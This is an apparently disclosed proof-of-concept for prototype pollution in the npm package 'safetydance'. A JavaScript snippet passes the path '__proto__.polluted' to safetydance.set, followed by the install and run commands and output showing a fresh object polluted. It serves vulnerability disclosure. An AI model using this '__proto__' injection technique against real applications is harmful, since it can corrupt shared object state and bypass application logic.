var obj = {}
console.log("Before : " + obj.polluted);
safetydance.set(obj,'__proto__.polluted','Yes! Its Polluted');
var obj1 ={}
console.log("After : " + obj1.polluted);
  1. Execute the following commands in another terminal:
npm i safetydance # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
